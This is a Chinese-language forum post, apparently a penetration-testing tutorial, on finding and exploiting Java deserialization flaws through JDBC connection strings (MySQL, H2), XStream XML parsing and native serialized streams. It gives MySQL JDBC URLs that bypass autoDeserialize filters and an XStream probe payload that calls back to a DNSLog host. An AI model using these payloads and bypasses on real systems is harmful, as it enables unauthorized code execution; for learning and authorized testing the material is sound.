找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

510

积分

0

好友

74

主题
发表于 3 天前 | 查看: 7| 回复: 0

一、JDBC反序列化

JDBC 反序列化漏洞通常出现在与数据库连接相关的功能中,例如数据源配置、连接测试等环节。

图片

常见的可利用数据库包括 MySQL、H2、PostgreSQL 等。不同数据库的利用链(Gadget Chain)和触发点各有差异。一种探测方法是,在连接字符串中指定不同的驱动类名,然后观察服务端的报错信息,以此判断其是否加载了对应的驱动类。

例如,可以尝试以下驱动类:

com.mysql.jdbc.Driver
org.h2.Driver
org.postgresql.Driver
1.1 MySQL利用与绕过

针对MySQL数据库的利用思路前文已有提及,这里补充几种常见的参数过滤绕过手段。

  • 绕过 autoDeserialize=true 过滤 若服务端过滤了参数值 true,可以尝试使用 yes 替代。
    jdbc:mysql://10.0.0.0:1234/test?autoDeserialize=yes&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  • 注释末尾强制添加的参数 如果服务端会在连接字符串末尾强行追加 autoDeserialize=false,可以使用 # 号将其注释掉。
    jdbc:mysql://10.0.0.0:1234/test?autoDeserialize=yes&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#
1.2 H2数据库利用

针对H2数据库的反序列化利用,可以使用ysoserial等工具生成Java反序列化利用链(Gadget Chains)进行攻击。

图片

图片

二、XStream反序列化

在传输XML格式数据的请求中,除了常见的XXE(XML外部实体注入)漏洞外,还可能存在 XStream 反序列化漏洞

图片

我们可以使用无害的URLDNS链进行探测。如果目标成功解析了XML并触发了其中的DNS查询,导致我们的DNSLog平台收到回连记录,这通常表明后端使用了XStream组件处理XML数据。

探测Payload示例:

<map>
  <entry>
    <url>http://your-dnslog.ceye.io/1</url>
    <string></string>
  </entry>
</map>

图片

确认存在漏洞后,同样可以利用工具生成相应的反序列化利用链执行命令。

图片

图片

三、原生反序列化漏洞

Java原生反序列化的数据流具有明显的特征。经过Base64编码后,数据通常以 rO0AB 开头;而其原始的字节流(十六进制表示)则通常以 AC ED 00 05 开头。在黑盒测试中,识别出这些特征是判断是否存在原生反序列化入口的关键。具体的漏洞利用思路与前述方法类似,核心在于构造合适的反序列化利用链。

图片




上一篇:ComfyUI实战部署Z-Image:6B小模型实现本地AI图像生成(Mac运行示例)
下一篇:现代C++原子操作实战:从内存序到无锁编程的避坑指南
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-12 02:20 , Processed in 0.088890 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表